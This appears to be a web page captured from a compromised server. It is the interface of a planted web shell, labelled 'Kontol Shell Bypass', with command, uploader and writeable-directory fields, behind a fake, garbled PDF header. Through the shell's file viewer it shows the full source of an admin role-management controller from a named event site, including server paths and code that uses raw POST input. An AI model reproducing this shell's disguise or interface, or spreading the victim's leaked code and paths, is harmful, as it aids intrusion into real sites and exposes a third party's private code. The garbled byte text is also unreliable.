%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/www.shardaevents.com/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/www.shardaevents.com/application/controllers/admin/Managerole.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Managerole extends CI_Controller {

function __construct(){
	parent::__construct();
	$this->load->model('Common_Model');
	if(! $this->session->userdata('adid')) {
		redirect('admin/login');
	}
}

	/* 
	* Function : index
	* Desc : listing all records
	*/

	public function index()
	{
		$data = array();
		$header = array();
		$data['roleArray'] = $this->Common_Model->getCommonIdArray('tbl_role_master');
		
		// Get School List
		$data['schoolArray'] = $this->Common_Model->getCommonIdArray('tbl_schools','id, school_name, school_code',array('status'=>'1','is_display'=>'1', 'is_deleted'=>'0'));
		
		//Get All Assigned Mentees 
		$data['menteesArray'] = $this->Common_Model->getCommonstatsArray('tbl_stats_master');
				
		// Get All user Records
		$condArray = array('status'=>'1', 'is_deleted'=>'0');
		$data['userArray'] = '';
		if($_POST['school_filter']) {
			$condArray = array('status'=>'1', 'is_deleted'=>'0','school_id'=>$_POST['school_filter']);
			$data['userArray'] = $this->Common_Model->getAllModuleList('tbl_admin','*', $condArray, array('2','3','4'),'role_id');
		}
				
		$this->load->view('admin/managerole/index',$data);
		setHistory('Go to manage role');
	}

	/* 
	* Function : getdepartmentdetail
	* Desc : For particular Record
	*/

	public function getdepartmentdetail($id='') 
	{
		// School Array
		
		$schoolArray = $this->Common_Model->getAllRecords('tbl_schools','id, school_name, school_code');
		if($_POST){
			$this->form_validation->set_rules('department_name','Department Name','required');
			$this->form_validation->set_rules('department_code','Department Code','required');
			$this->form_validation->set_rules('status','Status','required');
			if($this->form_validation->run())
			{
				$school_id = $this->input->post('school_id');
				$department_name = $this->input->post('department_name');
				$department_code = $this->input->post('department_code');
				$status = $this->input->post('status');
				$data=array(
					'school_id'=>$school_id,
					'department_name'=>$department_name,
					'department_code'=>$department_code,
					'status'=>$status,
					'is_deleted'=>'0',
					'createdon'=>date('y-m-d H:i:s')
				);
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$this->Common_Model->updateinfo($tbl_name='tbl_role_master',$data,'id',$id);
					setHistory('Role Updated Successfully');
				} else {
					$this->Common_Model->saveinfo($tbl_name='tbl_role_master',$data);
					setHistory('Role Added Successfully');
				}
				
				redirect('admin/managerole');
				
			} else {
				$this->load->view('admin/managerole/addrecord');
			}	
		} else {
			$sdetail=$this->Common_Model->getSingleRecord('tbl_role_master',' * ', array('id'=>$id));
			$this->load->view('admin/managerole/addrecord',['sd'=>$sdetail,'schoolArray'=>$schoolArray]);
			setHistory('Go to Add/Edit Role');
		}
	}

	/* 
	* Function : setajaxrecord
	* Desc : For records deletion
	*/

	public function setajaxrecord()
	{
		$mentor_id = $_POST['mentor_id'];
		$role_id = $_POST['role_id'];
		$response = array('msg'=>'error');
		if($role_id>0 && $mentor_id>0) {
			$data = array('role_id'=>$role_id,'last_modifiedon'=>date('Y-m-d H:i:s'));
			$this->Common_Model->updateinfo($tbl_name='tbl_admin',$data,'id',$mentor_id);
			$resp = true;
			$result = $this->Common_Model->getCommonSingleRecord('tbl_role_master','role_name',array('id'=>$role_id));
			$response = array('role'=>$result['role_name']);
			
		}
		header('Content-type: application/json');
		echo json_encode($response);
		exit;
	}
}

Kontol Shell Bypass